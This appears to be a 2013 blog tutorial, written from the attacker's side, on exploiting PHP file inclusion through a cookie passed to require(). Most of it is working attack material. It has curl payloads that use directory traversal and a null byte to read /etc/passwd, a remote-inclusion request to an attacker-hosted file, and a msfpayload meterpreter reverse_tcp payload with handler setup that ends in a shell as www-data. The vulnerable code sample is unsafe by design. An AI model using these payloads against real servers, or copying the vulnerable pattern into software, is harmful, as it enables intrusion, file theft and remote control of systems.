PHP supports the ability to ‘include’ or ‘require’ additional files within a script. If unsanitized data is passed to such functions, an attacker may be able to get remote code execution access to the server. A typical include block might look something like this:

<?php
require("config/settings.inc.php");
require("lib/db.lib.php");
require("lib/parser.lib.php");
include("contrib/users/user.contrib.php");
die("This is a test");
?>

Now, it’s also possible to dynamically require or include files based on variables or user input, say for example:

<?php
require("config/" . $username . ".inc.php");
die("This is a test");
?>

or

<?php
require("config/" . $_COOKIE['pref_file'] . ".inc.php");
die("This is a test");
?>

The problem with the $_COOKIE[‘pref_file’] example, is that of course the user controls his own cookies. In this case, rather than the expected value that might be ‘username_prefs_123456’ for example, the user can set a more malicious value. Ultimately, the web server will then include this malicious file and execute it as a PHP script. This malicious file will have the permissions to do anything that any other server side PHP scripts are able to do, which will most likely enable the attacker to gain a shell. Let’s look at different ways that the vulnerability can be leveraged.

Let’s call our script ‘test.php’ and let’s create a sample valid include file, i.e. config/npn.inc.php for it containing a simple echo statement. Now running curl and setting the ‘pref_file’ cookie to contain ‘npn’ results in the following:

root@pwn:/var/www# curl http://localhost/test.php -b "pref_file=npn"
This is a test include
This is a test
root@pwn:/var/www#

Exactly as we expect!

Now, let’s say that we want to use a Local File Inclusion (LFI) attack to include /etc/passwd instead. We are faced with two immediate issues. Firstly, “config/” is prepended to the beginning of our pref_file cookie and secondly, “.inc.php” is appended to the end. Directory traversal and null bytes to the rescue!

If we pass a modified curl request, our attack is successful:

root@pwn:/var/www# curl http://localhost/test.php -b "pref_file=../../../etc/passwd%00"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
...

Let’s examine our attack string in a little bit more detail. What’s now being included is “config/../../../etc/passwd%00.inc.php”. By traversing the directory tree with ‘../’ we can position ourselves 3 directories back, to the root ‘/’ of the filesystem before specifying the file that we’re interested in – /etc/passwd. By including a single null byte ‘%00’, we terminate the string, and therefore anything after, i.e. ‘.inc.php’ is discarded by PHP. Note that this null byte issue within paths was resolved in PHP 5.3.4

The second LFI attack method involves being able to upload files to the filesystem. As an attacker if we can find other means to get files onto the file system such as through anonymous FTP, image uploads, profile uploads, even PHP session variables containing arbitrary code, and we can instruct the application to include these files in exactly the same way as above.

Now, we come on to the more interesting remote file inclusion (RFI) attack. If PHP has ‘URL wrappers’ enabled, then it’s possible to pass HTTP links into functions such as include, require, fopen, and so on.

Take the sample code:

<?php
require($_COOKIE['pref_file'] . ".inc.php");
die("This is a test");
?>

If we call the script with: curl http://localhost/test.php -b “pref_file=http://192.168.230.128/malicious”

root@pwn:/var/www# curl http://localhost/test.php -b "pref_file=http://192.168.230.128/malicious"
You just included a malicious file!
This is a test

If the PHP version is not susceptible to the null byte attack, then as seen above, as we control our own webserver, we can create ‘malicious.inc.php’ which includes the ‘.inc.php’ the application will append, and simply pass the string ‘/malicious’ to the application.

This article wouldn’t be finished without shell access! We can generate our shell with:

msfpayload php/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=8080 R > /var/www/malicious.inc.php

Set metasploit to listen in for connections:

msf > use exploit/multi/handler
msf exploit(handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf exploit(handler) > set LPORT 8080
LPORT => 8080
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(handler) > exploit

[*] Started reverse handler on 0.0.0.0:8080
[*] Starting the payload handler...

Now trigger the remote application to include our malicious file:

curl http://localhost/test.php -b "pref_file=http://192.168.230.128/malicious"

Our curl request hangs as the script kicks into action:

[*] Sending stage (39195 bytes) to 192.168.230.128
[*] Meterpreter session 1 opened (192.168.230.128:8080 -> 192.168.230.128:39890) at 2013-08-10 16:49:44 +0100

meterpreter > shell
Process 5960 created.
Channel 0 created.
whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ps
  PID TTY          TIME CMD
 5611 ?        00:00:00 apache2
 5612 ?        00:00:00 apache2
 5613 ?        00:00:00 apache2
 5614 ?        00:00:00 apache2
 5615 ?        00:00:00 apache2
 5911 ?        00:00:00 apache2
 5912 ?        00:00:00 apache2
 5913 ?        00:00:00 apache2
 5960 ?        00:00:00 sh
 5970 ?        00:00:00 ps

Game over!